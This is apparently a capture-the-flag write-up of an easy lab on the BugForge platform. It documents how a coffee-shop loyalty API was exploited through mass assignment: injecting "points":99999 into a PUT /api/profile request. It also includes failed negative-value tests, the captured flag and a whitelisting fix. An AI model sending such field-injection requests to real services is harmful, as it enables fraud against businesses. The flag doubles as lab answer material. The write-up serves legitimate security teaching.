Security Labs

CTF and security lab write-ups

← Back

BugForge - Cafe Club Lab Writeup

Date: 2026-03-15 Difficulty: Easy Platform: BugForge

Executive Summary

Overall Risk Rating: πŸ”΄ Critical

Key Findings:

  1. Mass Assignment on profile update endpoint (CWE-915) β€” arbitrary field injection overwrites loyalty points balance

Business Impact: An attacker can grant themselves unlimited loyalty points, redeeming them for free products and causing direct financial loss to the business.


Objective

Find and exploit a vulnerability in the Cafe Club coffee shop loyalty program web application.

Initial Access

# Target Application
URL: https://lab-1773600707428-y7pmye.labs-app.bugforge.io

# Auth details
Registered account via POST /api/register
User: id=5, username=haxor, role=user
Auth: JWT HS256 in Authorization Bearer header

Key Findings

Critical & High-Risk Vulnerabilities

  1. Mass Assignment on Profile Update Endpoint (CWE-915) β€” The PUT /api/profile endpoint blindly applies all JSON fields from the request body to the user record. Intended fields are full_name, email, address, and phone, but the server accepts and persists any additional field β€” including points. An attacker can set their loyalty points to an arbitrary value with a single request.

CVSS v3.1 Score for Mass Assignment: 9.1 (Critical)

Metric Value
Attack Vector Network
Attack Complexity Low
Privileges Required Low
User Interaction None
Scope Unchanged
Confidentiality None
Integrity High
Availability High

Enumeration Summary

Application Analysis

Tech Stack:

Target Endpoints Discovered:

Endpoint Method Purpose
/api/register POST Registration
/api/verify-token GET Token validation
/api/products GET Product catalog
/api/products/:id/reviews POST Submit review
/api/favorites/:id POST Favorite a product
/api/cart GET/POST View/add to cart
/api/checkout POST Place order
/api/orders / /api/orders/:id GET Order history
/api/profile GET/PUT View/update profile
/api/profile/password PUT Change password
/api/giftcards GET List gift cards
/api/giftcards/purchase POST Buy gift card
/api/giftcards/redeem POST Redeem gift card code

Attack Chain Visualization

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Register    │───▢│  Map API Surface │───▢│  Identify Profile   β”‚
β”‚  Account     β”‚    β”‚  (Caido)         β”‚    β”‚  Update Endpoint    β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                      β”‚
                                                      β–Ό
                                           β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                                           β”‚  PUT /api/profile   β”‚
                                           β”‚  Add "points":99999 β”‚
                                           β”‚  to JSON body       β”‚
                                           β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                                      β”‚
                                                      β–Ό
                                           β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                                           β”‚  Server applies all β”‚
                                           β”‚  fields β€” points    β”‚
                                           β”‚  overwritten βœ“      β”‚
                                           β”‚  Flag returned      β”‚
                                           β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Attack Path Summary:

  1. Register account and authenticate via JWT
  2. Map all API endpoints through Caido HTTP proxy
  3. Identify PUT /api/profile accepts JSON body for profile fields
  4. Inject "points":99999 into the profile update request body
  5. Server applies all fields without whitelisting β€” points overwritten, flag returned

Exploitation Path

Step 1: Reconnaissance β€” API Surface Mapping

Registered an account and explored the application through Caido, capturing all HTTP requests. Identified 13 API endpoints across authentication, products, cart/checkout, profile, gift cards, and orders.

Key observations:

Step 2: Testing Business Logic Abuse Vectors

Tested several negative-value attacks against the points/money flow:

POST /api/checkout
{"points_to_use": -1000}
β†’ 400: "Points to use cannot be negative"

POST /api/cart
{"product_id": 1, "quantity": -5}
β†’ 400: "Valid product ID and quantity are required"

POST /api/giftcards/purchase
{"amount": -100}
β†’ 400: "Invalid gift card amount"

All negative-value vectors were properly validated server-side. Dead ends.

Step 3: Mass Assignment on Profile Update

Examined the profile update endpoint. The normal request body contains full_name, email, address, and phone. Tested whether additional fields would be accepted:

PUT /api/profile HTTP/1.1
Host: lab-1773600707428-y7pmye.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json

{"full_name":"","email":"test@test.com","address":"test","phone":"test","points":99999}

Step 4: Flag Captured

The server processed all fields without whitelisting, directly updating the user record:

{"message":"Profile updated successfully bug{pyE88sSYdWCujFizpld1ES18ft3CkGO8}"}

Points balance was overwritten to 99999. The flag was returned inline in the success message.


Flag / Objective Achieved

βœ… bug{pyE88sSYdWCujFizpld1ES18ft3CkGO8}


Key Learnings


Tools Used


Remediation

1. Mass Assignment β€” Profile Update (CVSS: 9.1 - Critical)

Issue: PUT /api/profile applies all request body fields to the user record without whitelisting, allowing attackers to modify sensitive fields like points.

CWE Reference: CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes

Fix:

// BEFORE (Vulnerable)
app.put('/api/profile', auth, async (req, res) => {
  await User.update(req.body, { where: { id: req.user.id } });
  res.json({ message: 'Profile updated successfully' });
});

// AFTER (Secure)
app.put('/api/profile', auth, async (req, res) => {
  const { full_name, email, address, phone } = req.body;
  await User.update(
    { full_name, email, address, phone },
    { where: { id: req.user.id } }
  );
  res.json({ message: 'Profile updated successfully' });
});

Additional defense-in-depth measures:


Failed Attempts

Approach 1: Negative points_to_use at checkout

POST /api/checkout
{"points_to_use": -1000}

Result: Failed - Server validates that points cannot be negative (400 response)

Approach 2: Negative cart quantity

POST /api/cart
{"product_id": 1, "quantity": -5}

Result: Failed - Server validates that quantity must be positive (400 response)

Approach 3: Negative gift card purchase amount

POST /api/giftcards/purchase
{"amount": -100}

Result: Failed - Server validates gift card amount (400 response)


OWASP Top 10 Coverage


References

Mass Assignment Resources:


Tags: #mass-assignment #api-security #nodejs #express #business-logic #bugforge